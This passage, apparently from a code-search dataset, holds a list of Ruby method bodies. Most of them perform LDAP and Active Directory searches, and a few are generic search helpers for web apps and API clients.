false\n if result_pdu.result_code == Net::LDAP::ResultCodeSuccess and controls\n controls.each do |c|\n if c.oid == Net::LDAP::LDAPControls::PAGED_RESULTS\n # just in case some bogus server sends us more than 1 of these.\n more_pages = false\n if c.value and c.value.length > 0\n cookie = c.value.read_ber[1]\n if cookie and cookie.length > 0\n rfc2696_cookie[1] = cookie\n more_pages = true\n end\n end\n end\n end\n end\n\n break unless more_pages\n end # loop\n\n # track total result count\n payload[:result_count] = n_results\n\n result_pdu || OpenStruct.new(:status => :failure, :result_code => Net::LDAP::ResultCodeOperationsError, :message => \"Invalid search\")\n end # instrument\n ensure\n\n # clean up message queue for this search\n messages = message_queue.delete(message_id)\n\n # in the exceptional case some messages were *not* consumed from the queue,\n # instrument the event but do not fail.\n if !messages.nil? && !messages.empty?\n instrument \"search_messages_unread.net_ldap_connection\",\n message_id: message_id, messages: messages\n end\n end",
"def search(basedn, scope, deref, filter)\n #raise LDAP::ResultError::UnwillingToPerform, \"Bad base DN\" unless basedn == BASEDN\n #raise LDAP::ResultError::UnwillingToPerform, \"Bad filter\" unless filter[0..1] == [:eq, \"uid\"]\n uid = filter[3]\n @@pool.borrow do |sql|\n q = \"select login_id,passwd from #{TABLE} where login='#{sql.quote(uid)}'\"\n puts \"SQL Query #{sql.object_id}: #{q}\" if $debug\n res = sql.query(q)\n res.each do |login_id,passwd|\n @@cache.add(login_id, passwd)\n send_SearchResultEntry(\"id=#{login_id},#{BASEDN}\", {\n \"maildir\"=>[\"/netapp/#{uid}/\"],\n })\n end\n end\n end",
"def search( scope=:subtree, filter='(objectClass=*)', parameters={}, &block )\n\t\treturn self.directory.search( self, scope, filter, parameters, &block )\n\tend",
"def search(options)\n options[:base] = @base_name\n options[:attributes] ||= %w{ou cn dn sAMAccountName member}\n options[:ignore_server_caps] ||= true\n\n @connection.search(options)\n end",
"def lookup(terms = {})\n # Format the CWID if that's what we're getting.\n if terms[:cwid]\n terms = format(terms.values.first)\n else\n terms = terms.values.first\n end\n\n # Make the request to the LDAP server\n req = self.connection.get do |r|\n r.url self.configuration.search_path + terms\n end\n\n # Return nil if there's a nil directory return\n if req.body['directory'].nil?\n return []\n end\n\n # Return nil if there aren't any results\n if req.body['directory'] && (req.body['directory'].empty? || req.body['directory'].nil?)\n return []\n\n # Otherwise, create a new Person out of it\n else\n results = []\n\n if req.body['directory']['person'].is_a?(Hash)\n results << Person.new(req.body['directory']['person'])\n else\n req.body['directory']['person'].each do |r|\n results << Person.new(r)\n end\n end\n\n return results\n end\n end",
"def search(base, filter = nil, attributes = nil)\n rows = []\n \n timeout_status = nil\n search_status = nil\n begin\n timeout_status = Timeout::timeout(60) do\n @ds.search(:base => base, :filter => filter, :attributes => attributes) do |entry|\n if ((!entry.nil?) && (entry[:cn] != []))\n rows << entry\n end \n end\n \n search_status = @ds.get_operation_result\n end\n rescue Timeout::Error => te\n ret = {\n :status => 0,\n :message => \"Connection to LDAP timed out\",\n :values => nil\n }\n return ret\n rescue Exception => e\n pp [\"exception\", e]\n end\n \n if (search_status.code == 0)\n ret = {\n :status => 1,\n :message => \"Success\",\n :values => rows\n }\n else\n ret = {\n :status => 0,\n :message => \"Net-LDAP Error #{search_status.code}: #{search_status.message}\",\n :values => nil\n }\n end\n \n return ret\n end",
"def get_entry( c, dn ) # :yields: connection_info, distinguished_name\n \n self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap\n \n entry = @ldap.search( \n base: dn, \n filter: Net::LDAP::Filter.eq( 'objectClass', '*' ),\n scope: Net::LDAP::SearchScope_BaseObject,\n attributes: [ '*' ]\n )\n \n raise \"Error while searching: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message =~ /(Success|No Such Object)/\n return entry ? entry.first : entry\n end",
"def ldap_search(attr,query)\n\t\tload \"#{$pwd}/plugins/config/ldap_config.rb\"\n\t\n\t\t# ldap_return auth (below) is a function from auth_ldap.rb that returns a\n\t\t# hash with the username and password to bind to LDAP with.\n\t\tldap_config = return_ldap_config\n\n\t\thost = 'ldap.oit.pdx.edu'\n\t\tport = 636\n \t\tauth = { :method => :simple, :username => ldap_config['username'], :password => ldap_config['pass'] }\n\t\tbase = 'dc=pdx,dc=edu'\n\t\n\t\tresult = Hash.new(Array.new)\n\t\tNet::LDAP.open(:host => host, :port => port, :auth => auth, :encryption => :simple_tls, :base => base) do |ldap|\n\t\t\t\n\t\t\t# Perform the search, then return a hash with LDAP attributes corresponding\n\t\t\t# to hash keys, and LDAP values corresponding to hash values.\n\t\t\tfilter = Net::LDAP::Filter.eq(attr,query)\n\t\t\tif (ldap.bind)\n\t\t\t\tldap.search(:filter => filter) do |entry|\n\t\t\t\t\tentry.each do |attribute, values|\n\t\t\t\t\t\tvalues.each do |value|\n\t\t\t\t\t\t\tresult[\"#{attribute}\"] += [\"#{value}\"]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tresult = false\n\t\t\tend\n\t\tend\n\n\t\treturn result\n\tend",
"def search(sfilter = nil)\n sfilter ||= filter\n\n result = []\n connect do |conn|\n conn.search2(base, 1, sfilter) do |entry|\n result << entry2provider(entry)\n end\n end\n return(result.empty? ? nil : result)\n end",
"def search(query = '', type: 'account', domain: nil, **options)\n options[:limit] ||= Zimbra::Directory::SEARCH_LIMIT\n DirectoryService.search(query, type.to_sym, domain, options)\n end",
"def /(*args)\n search(:base => dn.send(:/, *args), :scope => :base, :limit => true)\n end",
"def search(options, &block)\n if options[:base].kind_of?(Hash)\n options = options.merge(:base => dn/options[:base])\n end\n namespace.search({:base => dn}.merge(options), &block)\n end",
"def ldapsearch(filter)\n raise ArgumentError.new(\"You must pass a block to ldapsearch\") unless block_given?\n\n found = false\n count = 0\n\n begin\n connection.search(search_base, 2, filter, search_attributes) do |entry|\n found = true\n yield entry\n end\n rescue SystemExit,NoMemoryError\n raise\n rescue Exception => detail\n if count == 0\n # Try reconnecting to ldap if we get an exception and we haven't yet retried.\n count += 1\n @connection = nil\n Puppet.warning \"Retrying LDAP connection\"\n retry\n else\n error = Puppet::Error.new(\"LDAP Search failed\")\n error.set_backtrace(detail.backtrace)\n raise error\n end\n end\n\n found\n end",
"def get_users(host, base='dc=griddynamics,dc=net', scope=LDAP::LDAP_SCOPE_SUBTREE, filter='(objectclass=person)')\n\n puts \"Getting users from #{host} with base #{base} with filter #{filter}\"\n\n attrs = ['uid', 'mail', 'sn', 'givenName' ,'cn', 'sshPublicKey']\n\n conn = LDAP::Conn.new(host)\n\n puts \"Connection received: #{conn.inspect}\"\n\n conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n\n puts conn.bind('','')\n\n conn.perror(\"bind\")\n\n begin\n users = Hash.new\n\n conn.search(base, scope, filter, attrs) { |entry|\n groups = []\n entry.dn.split(',').each { |dn|\n tmp = dn.split('=')\n if tmp[0] == 'ou'\n groups << tmp[1]\n end\n }\n\n if groups.include?('people') and groups.include?('griddynamics') and not groups.include?('deleted')\n users[entry.vals('uid')[0].dup] = {\n :email => entry.vals('mail')[0].dup,\n :name => entry.vals('givenName')[0].dup,\n :last_name => entry.vals('sn')[0].dup,\n :full_name => entry.vals('cn')[0].dup,\n :ssh_public_key => entry.vals('sshPublicKey').nil? ? nil : entry.vals('sshPublicKey')[0].dup,\n :groups => groups.dup\n }\n end\n }\n return users\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n conn.perror(\"search\")\n conn.unbind\nend",
"def search(options, &block)\n instrument \"search.github_ldap\", options.dup do |payload|\n result =\n if options[:base]\n @connection.search(options, &block)\n else\n search_domains.each_with_object([]) do |base, result|\n rs = @connection.search(options.merge(:base => base), &block)\n result.concat Array(rs) unless rs == false\n end\n end\n\n return [] if result == false\n Array(result)\n end\n end",
"def ldapSearchLookup(key) \n answer = []\n filter = Net::LDAP::Filter.from_rfc4515(key)\n conf = Config[:ldap] \n treebase = conf[:base]\n Hiera.debug(\"Searching #{key} in LDAP backend, base #{treebase}.\")\n searchresult = @connection.search(:filter => filter)\n\n for i in 0..searchresult.length-1 do\n answer[i] = {}\n searchresult[i].each do |attribute, values|\n Hiera.debug( \" #{attribute}:\")\n answer[i][attribute.to_s] = values\n values.each do |value|\n Hiera.debug( \" ---->#{value}:\")\n end\n end\n end\n return answer\n end",
"def search( options={} )\n\t\tds = @storage.each_key\n\t\tself.log.debug \"Starting search with %p\" % [ ds ]\n\n\t\tds = self.omit_related_resources( ds, options )\n\t\tds = self.apply_search_criteria( ds, options )\n\t\tds = self.apply_search_order( ds, options )\n\t\tds = self.apply_search_direction( ds, options )\n\t\tds = self.apply_search_limit( ds, options )\n\n\t\treturn ds.to_a\n\tend",
"def search(*args)\n search_provider.search(*args)\n end",
"def get_entry(domain,search_key,search_value,return_attrs = [])\n @domain = domain\n @search_key = search_key\n @search_value = search_value\n @return_attrs = return_attrs\n @treebase = @domain.gsub(/\\./, ',dc=')\n @treebase = @treebase.insert(0, 'dc=')\n ldap = ldap_connect(@domain)\n filter = Net::LDAP::Filter.eq(@search_key,@search_value)\n results = ldap.search(:base => @treebase, :filter => filter, :attributes => @return_attrs)\n if (results.nil? || results.length == 0)\n return nil\n else\n results.each do |entry|\n return entry\n end\n end\n end",
"def scoped_search(scope, *args, &block)\n # extract the original query\n query = args[1] || \"*:*\"\n\n # prepend the environment to the query based on scope\n case scope\n when /domain/i,/dc/i\n args[1] = \"domain:#{node[:domain]} AND (#{query})\"\n when /environment/, /env/i\n args[1] = \"chef_environment:#{node[:chef_environment]} AND (#{query})\"\n else\n rasie ArgumentError \"restricted search does not know how to handle scope: #{scope} \"\n end\n\n # call the original search method\n search(*args, &block)\n end",
"def search_options_for(filter:, attributes:)\n {}.tap do |opts|\n group_base = APP_CONFIG[\"ldap\"][\"group_base\"]\n opts[:base] = group_base if group_base.present?\n opts[:filter] = Net::LDAP::Filter.construct(filter)\n opts[:attributes] = attributes\n end\n end",
"def find(dn = self.dn, options = {})\n # Some misguided attempts to emulate active record.\n case dn\n when :all then search({:limit => false}.merge(options))\n when :first then first(options)\n when Array then dn.map {|d| fetch(d, options)}\n else fetch(dn, options)\n end\n end",
"def search(search_options)\n Array(global_catalog_connection.search(search_options.merge(options)))\n end",
"def find(source = @source)\n scope = 0\n filter = \"(objectClass=*)\"\n if source.respond_to?(:search2_ext)\n source.search2(\n to_s,\n scope,\n filter\n )\n elsif source.respond_to?(:search)\n Array(source.search(\n :base => to_s,\n :scope => scope,\n :filter => filter,\n :limit => 1\n ))\n else\n raise RuntimeError, \"missing or invalid source for LDAP search\", caller\n end.first\n end",
"def search(domain, offset=0, limit=false, order=false, context={}, count=false)\n rpc_execute('search', domain, offset, limit, order, context, count)\n end",
"def search(args)\n args = validate_search_args!(args)\n\n response = remote_call(:search, args)\n\n if response.respond_to?(:records)\n serialize_records(response.records)\n else\n response\n end\n end",
"def search_for_login(connection=nil)\n connection ||= self\n @login_ldap_entry ||= begin\n DeviseLdapAuthenticatable::Logger.send(\"LDAP search for login: #{@attribute}=#{@login}\")\n filter = Net::LDAP::Filter.eq(@attribute.to_s, @login.to_s)\n ldap_entry = nil\n match_count = 0\n connection.open do |ldap|\n ldap.search(:filter => filter) {|entry| ldap_entry = entry; match_count+=1}\n end\n DeviseLdapAuthenticatable::Logger.send(\"LDAP search yielded #{match_count} matches\")\n ldap_entry\n end\n end",
"def execute()\n begin\n\n # If we are successful in authenticating using the active directory\n # server and credentials specified by the task info values.\n if @ldap.bind\n # Build a filter to search by\n filter = Net::LDAP::Filter.eq( \"objectclass\", \"computer\" )\n # Add the search value (attribute) to the filter for the search\n unless @parameters['search_value'].nil?\n filter = filter & Net::LDAP::Filter.eq(@search_by, @parameters['search_value'])\n end\n\n # Search operation - return result is set to true so that an array is\n # returned (to determine if search matches more than one entry)\n user_entries = @ldap.search(\n :base => @info_values['base'],\n :filter => filter,\n :size => 2,\n :return_result => true\n )\n\n # Raise an exception if there was a problem with the call\n unless @ldap.get_operation_result.code == 0\n @error_message = \"Message: #{@ldap.get_operation_result.message}, Error Code: \"\\\n\t\t\t\t\"#{@ldap.get_operation_result.code}\"\n raise \"Message: #{@ldap.get_operation_result.message}, Error Code: \"\\\n\t\t\t\t\t\t\"#{@ldap.get_operation_result.code}\" if @error_handling == \"Raise Error\"\n end\n\n # Raise exception if search did not return 1 entry\n if user_entries.length < 1\n @error_message = \"User not found when searching by #{@search_by} \"\\\n \"for: #{@parameters['search_value']}\" if @error_message.nil?\n raise \"User not found when searching by #{@search_by} for: #{@parameters['search_value']}\" if @error_handling == \"Raise Error\"\n elsif user_entries.length > 1\n @error_message = \"Search matched more than one entry when searching by #{@search_by} \"\\\n \"for: #{@parameters['search_value']}\" if @error_message.nil?\n raise \"Search matched more than one entry when searching by #{@search_by} for: \"\\\n\t\t\t\t\t\t\"#{@parameters['search_value']}\" if @error_handling == \"Raise Error\"\n end\n \n # Determine the computers distinguished name\n user_dn = user_entries.first.dn\n\n puts \"Computer DN: #{user_dn}\" if @debug_logging_enabled\n \n # For each of the group names\n groups = @group_names.inject({}) do |hash, group_name|\n # Initialize the group name\n hash[group_name] = nil\n # Build a filter to retrieve the group entries\n filter = Net::LDAP::Filter.eq( \"objectclass\", \"group\" ) & Net::LDAP::Filter.eq( \"cn\", group_name )\n # Search for each of the groups\n @ldap.search(\n :base => \"#{@info_values['base']}\",\n :filter => filter,\n :return_result => false\n ) {|entry| hash[group_name] = entry }\n # Return the hash to be used with the remaining inject calls\n hash\n end\n\n # If debug logging is enabled\n if @debug_logging_enabled\n # Log the retrieved group information\n puts \"Retrieved Groups:\" \n groups.each do |name, group|\n puts \" #{name}: #{group.dn}\"\n end\n end\n\n # Attempt to retrieve the names of any groups that did were not retrieved\n missing_group_names = groups.keys.select {|name| groups[name].nil?}\n\n # If we were unable to locate\n if missing_group_names.length > 0\n @error_message = \"The following groups did not exist on the configured Active Directory server: \"\\\n\t\t\t\t\t\t\"#{missing_group_names.join(', ')}\"\n # Raise an exception that lists what groups were missing\n raise \"The following groups did not exist on the configured Active Directory server: \"\\\n\t\t\t\t\t\t\"#{missing_group_names.join(', ')}\" if @error_handling == \"Raise Error\"\n # If there were not any missing groups\n else\n # TODO - add_attributes returns true or false, so the result of\n # get_operation_result should be examined if add_attributes was not\n # successful and an error message should be raised.\n\n # Add the user as a member to each of the groups\n groups.each {|name, entry| \n @ldap.add_attribute(entry.dn, :member, user_dn)\n #puts \"Added: #{entry.dn}, #{user_dn}\"\n }\n \n end\n # If authentication of the ldap session failed\n else\n @error_message = \"Directory authentication failed for #{@info_values['host']}: \"\\\n\t\t\t\t\t\"#{@ldap.get_operation_result}\" if @error_message.nil?\n # Raise an error\n raise \"Directory authentication failed for #{@info_values['host']}: \"\\\n \"#{@ldap.get_operation_result}\" if @error_handling == \"Raise Error\"\n end\n rescue Exception => error\n @error_message = error.inspect if @error_message.nil?\n raise error if @error_handling == \"Raise Error\"\n end\n\n # Build, log, and return the results\n results = <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{escape(@error_message)}</result>\n </results>\n RESULTS\n puts(\"Results: \\n#{results}\") if @debug_logging_enabled\n\t return results\n end",
"def searches\n search_objects.map{ |s| s.query }\n end",
"def search_ldap_by_name(str, credentials = {}, wildcard: false, limit: 20)\n credentials = determine_credentials(credentials)\n LdapQuery::Query.perform(credentials, attr: :displayname, val: str, wildcard: wildcard, limit: limit)\n end",
"def list(opts = {})\n search_provider.list(opts)\n end",
"def search(*args)\n filters = convert_filters(args)\n pager_options = extract_pager_options(filters)\n build_collection(raw.search(*filters).merge(pager_options: pager_options))\n end",
"def ldap_ping\n search_attrs = {\n :base => \"\",\n :scope => Net::LDAP::SearchScope_BaseObject,\n :attributes => [1.1]\n }\n result = false\n @net_ldap.search(search_attrs) { result = true }\n result\n end",
"def search(opts = {})\n data, _status_code, _headers = search_with_http_info(opts)\n data\n end",
"def search_filter(name)\n raise Puppet::DevError, \"No search string set for LDAP terminus for #{self.name}\"\n end",
"def search( scope=:subtree, filter='(objectClass=*)', parameters={}, &block )\n\t\tparameters[:selectattrs] |= ['objectClass'] unless\n\t\t\t!parameters.key?( :selectattrs ) || parameters[ :selectattrs ].empty?\n\n\t\tsuper\n\tend",
"def get_ldap_details(username)\n search_filter = Net::LDAP::Filter.eq(\"uid\", username)\n result = LDAP_CONNECTION.search(:filter => search_filter)\n puts result.inspect\nend",
"def search(klass, query, options = {})\n results = []\n \n # this is slight abuse of PoolingExecutor, treating it only as a pool (DRb handles threading)\n thread = @executor.run do |searcher|\n results = searcher.search( klass.constantize, query, options )\n end\n \n # wait for the search to complete so results will contain results\n thread.join\n \n results\n end",
"def ldap_search\n scanner = LdapQuery::Scanner.search params[:q]\n @ude = scanner.as_ude_attributes\n @ude[:errors] = scanner.errors\n respond_to do |format|\n format.json {render :json => @ude }\n end \n end",
"def search(*args)\n search_internal([\"SEARCH\"], *args)\n end",
"def search\n request.write_attributes request_attributes\n @search ||= request.call\n end",
"def get_entry( branch )\n\t\tself.log.debug \"Looking up entry for %p\" % [ branch.dn ]\n\t\treturn self.conn.search_ext2( branch.dn, SCOPE[:base], '(objectClass=*)' ).first\n\trescue LDAP::ResultError => err\n\t\tself.log.info \" search for %p failed: %s\" % [ branch.dn, err.message ]\n\t\treturn nil\n\tend",
"def search(opts = {})\n data, _status_code, _headers = search_with_http_info(opts)\n data\n end",
"def ldap_search(cmd)\n stdin, stdout, stderr = Open3.popen3(cmd)\n big = {}\n o = {}\n raw_output = \"\"\n currentkey = ''\n stdout.each do |line|\n raw_output << line\n line.chomp!\n next if line =~ /^#/\n if line == '' # end of record\n if o.size > 0\n if o.key?('dn')\n big[o['dn']] = o\n end\n end\n o = {}\n currentkey = nil\n next\n end\n if line =~ /^\\s+(.*)/ # line starting with space is continuation\n next if currentkey.nil?\n d = o[currentkey]\n if d.instance_of? Array\n i = o[currentkey].size()-1\n t = o[currentkey][i] + $1\n o[currentkey][i] = t\n next\n else\n d = d + $1\n o[currentkey] = d\n next\n end\n end\n if line =~ /^(.*): (.*)$/\n k=$1\n currentkey = k\n v=$2\n d = o[k]\n if d.nil?\n o[k] = v\n next\n end\n if d.instance_of? Array\n o[k] << v\n next\n end\n o[k] = [o[k]]\n o[k] << v\n next\n end\nend\n return output = { 'raw' => raw_output, 'json' => big.to_json, 'pretty' => JSON.pretty_generate(big)}\n \n \nend",
"def search\n\t\t@query = params[:query]\n\t\t@loanaccounts = Loanaccount.search @query, :page => params[:page], :per_page => 10\n\tend",
"def list_entries_with_search\n list_entries_without_search.where(search_condition)\n end",
"def search(path, options={})\n $LEDGER.search(path, options)\n end",
"def search_ldap_by_username(str, credentials = {}, wildcard: false, limit: 20)\n credentials = determine_credentials(credentials)\n LdapQuery::Query.perform(credentials, attr: :cn, val: str, wildcard: wildcard, limit: limit)\n end",
"def search_for(options = {})\n search_scopes.search_for(options)\n end",
"def search(scope, _criteria)\n scope\n end",
"def search_ldap_by_other(credentials = {}, attr: nil, val: nil, wildcard: false, limit: 20)\n raise(AttributeError, 'a valid attribute name and value must be supplied to query against') if attr.nil? || val.nil?\n\n credentials = determine_credentials(credentials)\n LdapQuery::Query.perform(credentials, attr: attr, val: val, wildcard: wildcard, limit: limit)\n end",
"def search(options={})\n response = connection.get do |req|\n req.url SEARCH_PATH, options\n end\n\n JSON.parse(response.body)['searchResult']['searchListings']['searchListing']\n end",
"def search(params={})\n rpc_call :search, params\n end",
"def search_ldap_by_group(str, credentials = {}, wildcard: false, limit: 20)\n credentials = determine_credentials(credentials)\n LdapQuery::Query.perform(credentials, attr: :memberof, val: str, wildcard: wildcard, limit: limit)\n end",
"def activedirectory_users(opts, accountname_expr = 'jturner')\n\n ldap = Net::LDAP.new :host => opts[:ldaphost],\n\t:port => opts[:ldapport],\n\t:auth => {\n\t:method => :simple,\n\t:username => opts[:binddn],\n\t:password => opts[:bindpassword]\n \n }\n\n filter = Net::LDAP::Filter.construct(\"(&(objectCategory=Person)(sAMAccountName=#{accountname_expr}))\")\n\n ldap.search(\n\t:base => opts[:basedn],\n\t:filter => filter,\n\t:attributes => [:samaccountname, :displayname, :mail, :telephonenumber, :description, :department, :company, :physicaldeliveryofficename, :streetaddress, :l, :st, :postalcode, :co, :thumbnailPhoto]\n ) \nend",
"def search filter\n if filter && is_searchable?\n filter = [filter, Chronic.parse(filter).strftime(\"%Y-%m-%d\")] rescue filter\n handle_joins(self.fields, scoped.select(\"DISTINCT(`#{self.table_name}`.`id`), `#{self.table_name}`.*\"))\n .where(build_filter(filter, self.fields))\n else\n scoped\n end\n end",
"def search_externally(search_term:)\n return [] unless search_term.present? && search_term.length > 2\n\n orgs = externals_search(search_term: search_term)\n prepare(search_term: search_term, records: orgs)\n end",
"def search(options = {})\n reset_errors\n options.symbolize_keys!\n begin\n\tresult = connection.search(options)\n\tadd_error(operation_error)\n rescue => e\n\tresult = []\n\tadd_error(e.message)\n end\n result\n end",
"def _search options\n if params[:q].blank? #or params[:q]==\"undefined\"\n parent? ? parent.send(resource_name) : (resource_class.nil? ? nil : find_all_resources(options))\n else\n find_resources_queried options\n end\n end",
"def search\n\t\t@query = params[:query]\n\t\t@hospitals = Hospital.search @query, :page => params[:page], :per_page => 10\n\tend",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n skip_accounts = ['CORP$']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n if skip_accounts.include? entry.sAMAccountName.first.to_s\n next\n end\n\n begin\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :mail => entry.mail.first.to_s,\n :pwdays => 0,\n :notify => false,\n }\n rescue\n puts \"Caught exception: #{entry.inspect}\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n acct[:pwdays] = numDays\n $accounts.push acct\n end\n\n end\nend",
"def search(term)\n # TODO: Select the Contact instances from the 'contacts.csv' file whose name or email attributes contain the search term.\n count = 0\n results = connection.exec_params(\"SELECT * FROM contacts WHERE name LIKE ('%'||$1||'%') OR email LIKE ('%'||$1||'%');\", [term])\n results.each do |row|\n each_info = Contact.new(row['name'], row['email'], row['id'])\n puts \"\\nID:\\t#{row['id']}\".green\n puts \"Name:\\t#{row['name']}\".blue\n puts \"Email:\\t#{row['email']}\".blue\n count += 1\n end\n puts \"---\"\n puts \"#{count} records total\".yellow\n end",
"def search(params = {})\n\n mapper = lambda do |val|\n if val.class == Date || val.class == DateTime || val.class == Time\n val.strftime('%Y-%m-%dT%H:%M:%S')\n elsif val.class == Channel\n val.name\n elsif val.class == TrueClass\n '1'\n elsif val.class == FalseClass\n '0'\n else\n val.to_s\n end\n end\n\n new_params = params.map do |key, val|\n if val.class == Array\n [ key, val.map(&mapper) ]\n else\n [ key, mapper.call(val) ]\n end\n end\n\n data = data_for(:search_results, Hash[new_params]).merge({\n 'query' => params\n })\n\n build :search_results, :using => data\n end",
"def search(resource, query, **params)\n options = {\n resources: resource.to_s,\n query: CGI::escape(query)\n }\n\n options.merge! params\n\n ComicVine::SearchResults.new(_make_request(:search, options), resource, query)\n end",
"def search(q)\n results = []\n url = \"https://#{@subdomain}.sharefile.com/rest/search.aspx?op=search&query=#{q}&authid=#{@authid}&fmt=json\"\n response = JSON.parse(open(url).read)\n if response[\"error\"] == false #success\n response[\"value\"].each do |item|\n if item[\"type\"] == \"folder\"\n results << Folder.new(item[\"id\"], @authid, @subdomain, false, item)\n elsif item[\"type\"] == \"file\"\n results << File.new(item[\"id\"], @authid, @subdomain, item)\n end\n end\n return results\n else #error\n return response\n end\n end",
"def search\n unless params[:query].blank?\n @listings = custom_search(params[:query])\n #print \"\\n\\n\\n***203 #{@listings}***\\n\\n\\n\"\n @header_type = \"Search for \\\"\" + params[:query] + \"\\\"\"\n \n #will render search.rhtml by default\n else\n browse\n end\n end",
"def get_dn(domain,dn,return_attrs = [])\n scope = Net::LDAP::SearchScope_BaseObject\n ldap = ldap_connect(domain)\n results = ldap.search(:base => dn, :scope => scope, :attributes => return_attrs)\n if (results.nil? || results.length == 0)\n return nil\n else\n results.each do |entry|\n return entry\n end\n end\n end",
"def get_extended_entry( branch )\n\t\tself.log.debug \"Looking up entry (with operational attributes) for %p\" % [ branch.dn ]\n\t\treturn self.conn.search_ext2( branch.dn, SCOPE[:base], '(objectClass=*)', %w[* +] ).first\n\trescue LDAP::ResultError => err\n\t\tself.log.info \" search for %p failed: %s\" % [ branch.dn, err.message ]\n\t\treturn nil\n\tend",
"def search_locally(search_term:)\n return [] unless search_term.present? && search_term.length > 2\n\n orgs = local_search(search_term: search_term)\n prepare(search_term: search_term, records: orgs)\n end",
"def search\n @users = User.search(@search_term)\n @tweets = Tweet.search(@search_term)\n @tags = Tag.search(@search_term)\n end",
"def search(query, options = {}, &block)\n return to_enum(:search, query, options).to_a unless block_given?\n\n sessionToken = nil\n doc = nil\n\n begin\n sessionOptions = {}\n sessionOptions[:sessionToken] = sessionToken unless sessionToken.nil? || sessionToken.blank?\n\n response = self.find_objects(options.merge(:query => query, :resultFormat => 'xml', :pid => true).merge(sessionOptions))\n\n doc = Nokogiri::XML(response)\n doc.xpath('//xmlns:objectFields/xmlns:pid', doc.namespaces).each do |pid|\n begin\n obj = self.find(pid.text)\n rescue RestClient::Unauthorized\n next\n end\n block.call(obj)\n end\n\n sessionToken = doc.xpath('//xmlns:listSession/xmlns:token', doc.namespaces).text\n end until sessionToken.nil? || sessionToken.empty? || doc.xpath('//xmlns:resultList/xmlns:objectFields', doc.namespaces).empty?\n\n end",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :pwdays => 0,\n :notify => false,\n }\n\n if entry.respond_to? :mail\n acct[:mail] = entry.mail.first.to_s\n else\n acct[:mail] = \"[email protected]\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n next # These passwords have already expired.\n end\n\n # Send a notice 14, 7, 3, 2 and 1 days before expiration\n if [14, 7, 3, 2, 1].include? numDays\n acct[:notify] = true\n acct[:pwDays] = numDays\n end\n\n $accounts.push acct\n end\nend",
"def search(params)\n params = VALID_PARAMS.inject({}) do |p, param_name|\n p[param_name] = params[param_name] if params.key?(param_name)\n p\n end\n update_filter_query_from_params(params)\n update_query_from_params(params)\n objects, start, total, response_header = execute_query(params)\n [ objects, start, total ]\n end",
"def search(options = {})\n self.date = options[:date] || date\n self.hd = options[:hd] || hd\n response = HTTParty.get(DEFAULT_URL, query: attributes)\n handle_response(response)\n end",
"def search(criteria = {})\r\n \r\n end",
"def list(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\t# Entry filter\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\t# Pager\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('baseentry', 'list', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def index\n accounts_scope = Account.all\n case search_params[:type]\n when \"Fullname\"\n accounts_scope = Account.search_by_fullname(search_params) if (search_params[:type] && search_params[:textsearch])\n when \"Phone\"\n accounts_scope = Account.search_by_phone(search_params) if (search_params[:type] && search_params[:textsearch])\n when \"User\"\n accounts_scope = Account.search_by_acc_user(search_params) if (search_params[:type] && search_params[:textsearch])\n end\n\n @accounts = smart_listing_create :accounts, accounts_scope, partial: \"accounts/list\",\n default_sort: {fullname: \"asc\"}\n end",
"def search(path, query, opts = {})\n optional_inputs = {\n file_limit: 1000,\n include_deleted: false,\n include_membership: false,\n }.merge(opts)\n input_json = {\n path: path,\n query: query,\n file_limit: optional_inputs[:file_limit],\n include_deleted: optional_inputs[:include_deleted],\n include_membership: optional_inputs[:include_membership],\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/search\", input_json)\n Dropbox::API::SearchResults.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
